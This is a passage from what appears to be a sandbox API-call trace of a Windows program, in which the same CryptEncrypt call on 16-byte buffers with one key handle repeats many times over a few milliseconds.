pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.771] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.772] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.773] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.774] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, 